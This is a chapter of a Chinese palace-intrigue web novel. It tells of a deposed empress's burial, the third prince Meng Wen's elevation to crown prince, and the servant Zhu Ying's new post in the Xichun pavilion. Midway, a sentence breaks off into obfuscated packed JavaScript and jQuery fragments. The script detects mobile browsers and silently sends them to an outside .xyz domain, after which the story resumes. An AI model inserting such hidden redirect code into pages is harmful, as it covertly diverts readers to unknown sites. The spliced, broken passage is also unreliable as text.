19. 凛风鸣竹(九)

作品:《朕不要一朵菟丝花

    时维宁朔十五年冬十二月,废后的棺椁在延鹤宫停灵第七日,法事毕,于岁暮廿四出殡,葬于京畿之南,绮亭之东。


    一国之后,曾浩浩汤汤走进宫城里,末了黯然离去,潦草断送一生。


    葬礼不过七日而已,其实世间也不剩几个来送她的故人。


    只有她遗留世间的孩子,陆氏存余的后人,还有从前侍奉她的宫人。


    三皇子于灵前焚祭文告于泰山府君,火舌蔓延得快,竺影只看得最后一段。


    “愿母早得归,于此长安歇。倘使逝者得以凭虚御风,行过四海,览遍八荒。心如野鹤,尘网何能缚?纵游览于蓬蒿之间,亦胜困于金阙万千……”


    可观者自清楚,人死如灯灭,哪有什么魂归天地间。


    有的不过是一点幻想,这些幻想能让活着的人好受些。


    祭文焚尽,余一盆残灰,生者最后一点念想,也随帛书被火苗吞噬殆尽。


    送完亡母最后一程,孟闻还要回到那座宫城里。


    尚常侍也在法事结束后,再度来替陛下传话。


    “陛下召三皇子去鸿嘉殿。”


    陛下在此时召见他,是为何事,众人皆摸不着头脑。


    孟闻却似猜到了,神色微动,难掩疲惫,只依礼道:“劳尚常侍稍等片刻,我即刻便往。”


    尚泓瞥他一身素衣,好言提醒:“小人在此恭候三皇子更衣。”


    孟闻没再拒绝,往内室去,脱下一身孝服,换了身浅色的长褶衣,又披一件结绿色氅衣,便出了门,随尚常侍前往鸿嘉殿。


    皇帝正与几位大臣在殿中议事。


    除了秘书令、太史令、尚书左仆射王若几位常客外,尚书令陈柯、太常崔慎、侍中杨恒之、侍郎兼给事中容桢也在。


    崔太常道:“明年浴佛节陛下要亲谒佛寺,可始宁寺仍待修缮,宫里又才翻新了东宫与后宫。陛下看——观星楼是否可以暂缓?”


    孟雍不悦道:“朕叫你来是说这些的?这天底下哪一处不是百废待兴,怎么皇城的缓不得,京畿的缓不得,偏偏就并州缓得?”


    王若从中缓和道:“佛诞在四月,为时尚早。再说始宁寺前两年才修过一遭,年年修葺倒也不必。崔太常只需负责典礼,怎还操心起将作监的事了?”


    其余几人也点头道:“是极是极。”


    逢此时,尚常侍引三皇子入殿中。


    孟闻先拜见陛下,随后见过几位大人,与崔太常道:“国之大事,在祀与戎。*太常所忧亦是情理之中,苦于今年各地灾患不断,国中开支众多,二者难以齐头并进。陛下先重北地,自有他的考量,并州与乌护接壤,乃我朝军事重地,然民生凋敝久矣,连年轻徭薄赋,却不足以休养生息,不足以供养军备。只怕一延再延,积弊更深。”


    众人皆道:“不错。”


    孟闻所言,亦是陛下所想。


    只是此前北地诸事由梁氏总揽,顾及中书令的情面,无人敢当面诉之于口罢了。


    孟雍倚凭几而笑,问从嘉:“这话是你教他说的?”


    祝从嘉道:“并非,陛下指臣为三皇子讲学,才是几日前的事,彼时三皇子尚在延鹤宫。”


    孟闻道:“臣所言,是从一本名为《禳灾》的书中学得,在秘阁偶然见得,便读了。”


    陛下听了,深色未变,只是殿中有两人,听闻“禳灾”二字,迟滞了一瞬。


    从前与陆尚书同在北地督军事的同僚,说没听过这本书,自然是假的。


    三皇子说了这番话,崔太常也就噤了声,不再多言。


    他既愿往北地揽下这个烂摊子,旁人自是不会阻拦。


    旁观者如何不知,三皇子幼年之时提笔识字,少年之期挽弓跨马,皆由陛下亲自教抚。


    在所有的皇子当中,陛下最喜欢的便是这第三子。


    三郎少时与两位兄长出猎,只有他猎不得鹿,空手而归。陛下不曾怨责,反倒自嘲一笑:“朕为人父,却不善为人师,比不得宫中教习射术的老师,安能怪三郎学艺不精?”


    后来稚子长成,能拉得开更重的弓,却再也没进过鹿苑。


    到如今三皇子离开西苑,一步步走到鸿嘉殿里。此时襄王不在,齐王也不在。皇帝的心思,众臣皆已明了。


    议完北地之事,皇帝命容侍郎与孟闻同往北地,便屏退众臣。


    大殿里只有父子二人。


    俄而窗外雪晴。


    晴光透过窗格,照得鎏金香炉与连枝灯光彩迷离,也照得华服上的金线流光熠熠。


    皇帝身形初显佝偻,裹在宽大的衣袍之下,他的确老了。


    孟闻看向皇帝说道:“父皇当初所言之事,儿臣如今懂了。”


    这几日他没有落泪,只是煎熬了几个彻夜,眼下乌青,稍显憔悴。


    他初来那回,跪在阶下,与鸿嘉殿格格不入。


    一身锦衣玉冠,才将那个承风雪的少年从破败之地拉回来,融入这富丽堂皇的宫阙。


    皇帝忽感欣慰,同他道:“王若忠贞敦厚,可以为佐。祝从嘉知经天纬地,通古今政事,可以为师。杨恒之是个秉直中正之人,若逢歧路,可与之求教。他三人我皆信得过,便放心使其为你引路。”


    孟闻再度看着他,难免愕然,心中忽然抽痛了一下。


    只听皇帝说道:“新正是个吉日,一年伊始,万象更新。届时收拾妥当,迁居东宫吧。”


    他口中的话,自是不会有戏言。


    孟闻起身离席长拜道:“儿臣叩谢陛下。”


    东宫储君,废出自皇帝之口,立也出自皇帝之口。


    不日立太子的诏书传至恩光殿,满朝轰动,诸多大臣惊诧不已,从前扶助襄王与齐王的臣子更是将牙咬碎了往肚里咽。


    独独皇太子像个物件一样,被从架子上拿下来,又放回去。不因此喜,不为此悲,也从来都拒绝不得。


    睢言最后一日流连故所,想在这座宫殿里找寻所有生母留下的痕迹。


    金丝笼中早就不豢鸟雀了,檐下悬挂笼子的金钩索还留着。承重的楠木柱子后,清漆下还藏着小儿拿刀刻下的涂画,一笔一划,顽劣又天真。


    这是他幼时成长的居所,有时肆意玩赖,行走殿中,撞进慈母裙佩里,扑得满面兰樨香。


    陛下也会在下朝后来到鸣鸾宫,亲自督查他的课业,叮嘱他不许扰母亲头疼。


    那是极其久远的记忆了。


    孟闻枯坐在皇后生前的寝殿,回看眼前,角落里的一株兰无人照料早已经枯死,金兽炉中的香料早就燃尽了,时隔多日走在宫中,还能闻到未曾消散的香气。


    镂花门外的的人影来来往往,正在将那些不常用的饰物拆去。


    其实折费人力翻修的鸣鸾宫,压根没沾染过几天人气,就永远失去了它的主人。


    日头落在宫城的重重屋檐后,岑寂落在鸣鸾宫每一寸的角落。


    孟闻靠坐在屏风后,有人持纱灯一盏,推门而来,缓缓行至他跟前。


    长裙曳地,他仰首看清了那一道影,影影绰绰匿在灯火中,竟有些失望。


    “这么晚了,你来做什么?”


    徴音道:“是女郎君让我过来看看,她放心不下殿下。”


    话音落下,灯火也划过眼前,点燃架子上的灯烛,照彻大半个宫室。


    孟闻徐徐扶着漆木屏风起身,说道:“有什么可担心的,我不是让你看着那人吗?你来了这里,还有何人盯着她?”


    徴音说道:“鸣竹啊,她早就睡下了。”


    孟闻道:“刀架在脖子上,难得她还能睡得安稳。”


    徴音道:“可我观察了许多天,她如常作息,时常独处,也不喜与旁人往来。”


    孟闻道:“真是稀奇。”


    徴音道:“静和宫里冤死的人不少,殿下会不会冤枉了她?明日齐王进宫,何不同他问个清楚?”


    孟闻道:“罢了,你看着她便是。”


    徴音点头道好,又劝道:“夜已深了,明日就要迁去东宫,殿下早些休息吧。”


    “你先回去,不必管我。”孟闻扶着柱子,缓缓绕过屏风,凝睇墙上几幅字画。“我只是想再看看这里罢了……”


    徴音轻掩上门出去,没再打搅他。


    岁聿云暮,暖意随天光一寸寸北移,日子也一天天从脚底滑过。


    转眼一岁已除,太子迁去了东宫,不忘将竺影这替罪羔羊也一并带上。


    东宫正殿为恩光殿,左右另有崇庆殿、德音殿两座偏殿。偏殿后建有几间轩房,都空置着,应当是给太子未来的姬妾准备的。


    恩光殿东边有座二层小阁楼,楼上悬着一块匾,题名为“洗春”。洗春阁原是堆放各种珍玩藏品的库房,善本古籍尽数收纳其中,太子殿下便将此地划为书房使用。


    原本侍奉陆皇后的两个宫人徴音、羽音到东宫以后,分别做了恩光殿与德音殿的管事。另两个对竺影没好气的侍从——角音和商音,成了太子近侍,跟随左右。


    轮到竺影时,太子略略皱眉,随手一指:“看着是个通文墨的,让她到洗春阁去罢。”


    就这么一句话,随意安置了她。


    于是她成了洗春阁的女史。


    早在几年前,杜修容要荐她去做的女史,如履薄冰几年,还是逃不开。


    竺影真想撂挑子啊。


    只得安慰自己,待在这里至少比在静和宫好些,太子好歹是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427039|183722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个通人性的,虽厌恶她,不常见面就是了,也不会刻意刁难。


    洗春阁在何处,她倒从未去过。


    到了才发现,此处竟有幽篁,迂回曲折的连廊在竹丛中若隐若现,直通洗春阁。


    白雪廊下,冬风过境揽得竹节互相敲打,发出声声轻鸣。


    竺影从廊间走过,乍以为回到了云琅城的故居。


    是耶非耶,如梦恍惚。


    有个宫人嫌连廊弯绕,偏要走雪地里的直道,谁知脚底一滑摔倒在雪地里。


    徴音见了,赶忙过去搀扶,被羽音拽住了裙摆,也不慎滑倒在地。


    另两个想过去帮忙的宫女,一个踩了裙子,一个绊了脚跟,稀里糊涂滚到了一块去。


    凛风鸣竹的庭院里,雪还在下着,那几个满身狼狈的宫女却抱头挤在一起,笑得上气不接下气。


    少女无邪,总是天真又美好。


    笑着笑着,不知是谁突然说了一句:“要是皇后还在就好了。”


    “她见了这一幕,也一定会笑的吧,哪怕是笑话我笨手笨脚也好。”


    所有人都愣了一下,不多久,有人低头藏起湿润的眼,有人抹着眼泪开始抽噎,而那个最先开口的人呆愣着,不知所措。


    竺影停在廊下,木然望着这一幕,不知为何舍不得就此离去,便伫足在此看了一时半刻。


    不远处传来一阵很轻的脚步声,挟着衣料摩挲的声音到了她身后。


    竺影早有察觉,转过头时还是被他吓了一跳,慌忙行礼道了一声“太子殿下”。


    孟闻淡淡应了声,也看着那几个抱在一团的宫女,没作斥责。


    过了半晌,等她们心情平复了些许,他才朝那边的人开口:“早晨吩咐你去办的事,全然忘了吗?”


    徴音匆匆爬起来,拂去身上雪粒,说道:“本来要去的,现在我得回去换衣裳了,能不能换个人替我去啊?”


    竺影心中隐隐有不好的预感。


    果然,孟闻的视线在几个宫人身上扫了一圈,最后落在她身上。


    “你可有空闲?”


    竺影不太情愿地看着他,她可以说没有吗?


    不等她拒绝,孟闻又道:“不是什么难事,只是路途远些。需到掖庭的松龄舍取一样东西,你见到一个叫温成的宫人,同他表明来意,他自会把东西给你。”


    竺影点点头答应了,此人定是在存心刁难她。


    掖庭在章华殿左,东宫在章华殿右,几乎横跨了整座宫城的,路程远了不止一星半点。


    更别提此刻天阴沉沉,眼看又要飞雪了。


    她抱着一柄纸伞,揣着满腹怨气踏出宫门,没走多远,却在不远处见到了入宫的孟晓。


    他是来见孟闻的。


    竺影似猜到了,原来叫她专程跑这一趟,是为了支开她。


    皑皑茫茫间,齐王的身影没入宫门,不曾转头,没看到她,于是乎就此错过。


    彼时太子正坐在洗春阁中温书。


    商音领着齐王前往,到了地方,留宁蒹守在门外,孟晓独自走了进去。


    略去礼节,孟闻一指对座之席,道:“坐吧。”


    孟晓恍若未闻,于书房绕了一圈,又在太子眼前踱步,最后啧啧感叹:“瞧瞧这偌大屋宇,这回你真要好好谢一谢我。不过这地方,稍显冷清了。”


    孟闻道:“刚搬来,无暇收拾。”


    孟晓道:“我倒忘了,你在西苑时,凡事都须得亲力亲为,如今还不习惯吧?”


    孟闻不欲与他闲谈,合上书卷,直面问起:“皇兄去了掖庭,可寻到要找的人了?”


    孟晓回看向他,说道:“不曾。”


    孟闻道:“我记得原先问过皇兄,那时兄不置可否,我以为她与你无甚关系,才交由掖庭处置了。”


    “如此啊……”孟晓垂眼背过身去,只有一手背在身后,死死攥着,攥得骨节都泛白。


    他淡淡嗤出一笑:“这人是我从林场里拾得的,本是个有罪之人,却侥幸逃过了围猎捡回一命,我便将她带回来安置在宫里。我原要提醒三郎,她有些底细我尚不清楚,这样的人还是不要放在身边为好,既然已经死了……那便罢了。”


    孟闻听他不用“救下”,也不用“留下”,偏用“拾得”这样的字眼,好像她是什么物件。


    一瞥孟晓腰间,挂着一只黛蓝香囊,其下系着酢浆草结,倒是有些熟悉。


    他叹道:“如此说来,是我对不住皇兄,只是此事我实不知。”


    孟晓没有发作,仅是不断说着:“罢了,罢了。”


    本是他母亲的罪过,害死了鸣鸾宫那位,也坏他计策,到头来却是用一个宫人了结此事,如此,才算罢了。